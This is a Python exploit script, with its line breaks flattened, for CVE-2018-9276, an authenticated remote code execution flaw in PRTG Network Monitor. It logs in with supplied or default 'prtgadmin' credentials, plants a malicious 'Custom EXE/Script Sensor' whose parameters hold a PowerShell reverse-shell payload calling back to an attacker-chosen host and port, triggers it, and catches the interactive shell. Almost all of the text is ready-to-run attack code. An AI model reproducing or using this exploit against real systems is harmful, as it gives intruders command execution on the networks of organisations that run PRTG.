# -*- coding: utf-8 -*- # Authenticated PRTG Network Monitor RCE # CVE: 2018-9276 # Exploit author: Renan Almeida # Python script exploit author: Renan Almeida a.k.a. nullarmor import argparse import random import re import requests import sys from pwn import * def main(): # args argparser = argparse.ArgumentParser(description='Authenticated PRTG Network Monitor RCE', add_help=False) main_arg = argparser.add_argument_group("MAIN") main_arg.add_argument('-h', '--help', help='Show this help menu', action='store_true') main_arg.add_argument('--rhost', type=str, help='PRTG Network Monitor URL', required=True) main_arg.add_argument('--username', type=str, help='PRTG Network Monitor username', default='prtgadmin') main_arg.add_argument('--password', type=str, help='PRTG Network Monitor password', default='prtgadmin') main_arg.add_argument('--lhost', type=str, help='Local host to receive reverse shell', required=True) main_arg.add_argument('--lport', type=str, help='Local port to receive reverse shell (default: 4444)', default='4444') main_arg.add_argument('--burpsuite', action='store_true', help='Enable burpsuite proxy') args = argparser.parse_args() # arg validation if args.help: argparser.print_help() sys.exit(1) # cons lhost = args.lhost lport = args.lport rhost = args.rhost burpsuite = args.burpsuite username = args.username password = args.password # session sess = requests.Session() # burp proxy if burpsuite: proxies = { "http": "127.0.0.1:8080" } def reverse_shell(): print(" [*] Spawning the reverse shell...") l = listen(lport) l.sendline("whoami") l.interactive() def login(): params = { "loginurl": "", "username": username, "password": password } print(" [*] Trying to authenticate with supplied creds...") try: if burpsuite: r = sess.post("{}/public/checklogin.htm".format(rhost), params=params, proxies=proxies) else: r = sess.post("{}/public/checklogin.htm".format(rhost), params=params) except Exception as e: print(e) print(" [*] An error occurried during the login process!") else: if "welcome.htm" in r.url: print(" [*] Logged with success!") return True else: print(" [*] Failed to login, please check your credentials!") return False def exploit(): ps_payload = ";$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+lport+");" ps_payload += "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};" ps_payload += "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" ps_payload += "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" ps_payload += "$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" ps_payload += "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" ps_payload += "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" random_id = str(random.randrange(10, 9999)) # adding sensor print(" [*] Adding a malicious sensor...") params = { "name_": "Custom EXE/Script Sensor", "parenttags_": "C_OS_VMware", "tags_": "exesensor", "priority_": "3", "exefile_": "Demo Powershell Script - Available MB via WMI.ps1|Demo+Powershell Script - Available MB via WMI.ps1||", "exefilelabel": "", "exeparams_": ps_payload, "environment_": "0", "usewindowsauthentication_": "0", "mutexname_": "", "timeout_": "60", "valuetype_": "0", "channel_": "Value", "unit_": "#", "monitorchange_": "0", "writeresult_": "0", "intervalgroup": "0", "intervalgroup": "1", "interval_": "60%7C60+seconds", "errorintervalsdown_": "1", "inherittriggers": "1", "id": "2004", "sensortype": "exe", "tmpid": random_id } try: if burpsuite: r = sess.post("{}/addsensor5.htm".format(rhost), params=params, proxies=proxies) else: r = sess.post("{}/addsensor5.htm".format(rhost), params=params) except Exception as e: print(e) print(" [*] An error occurried during adding the sensor!") sys.exit(1) else: if r.status_code == 200: print(" [*] Malicious sensor added with success!") print(" [*] Grabbing malicious sensor ID...") try: if burpsuite: r = sess.get("{}/sensors.htm".format(rhost), proxies=proxies) else: r = sess.get("{}/sensors.htm".format(rhost)) sensor_id = re.findall('sensor.htm\?id=([0-9]{4})">Custom EXE/Script Sensor', r.text)[-1] except Exception as e: print(e) print(" [*] Failed to grab malicious sensor ID") sys.exit(1) print(" [*] Malicious sensor ID: " + sensor_id) print(" [*] Now triggering the exploit and getting reverse shell...") try: if burpsuite: r = sess.post("{}/api/scannow.htm".format(rhost), params={"id": sensor_id}, proxies=proxies) else: r = sess.post("{}/api/scannow.htm".format(rhost), params={"id": sensor_id}) except Exception as e: print(e) print(" [*] An error occurried during the exploit triggering stage.") sys.exit(1) else: if r.status_code == 200: print(" [*] PRTG exploited with success!") reverse_shell() else: print(" [*] Failed to add the malicious sensor :(") sys.exit(1) # main print(" [>] Authenticated PRTG Network Monitor RCE") print(" [*] Python script exploit author: nullarmor") if login(): exploit() if __name__ == "__main__": main()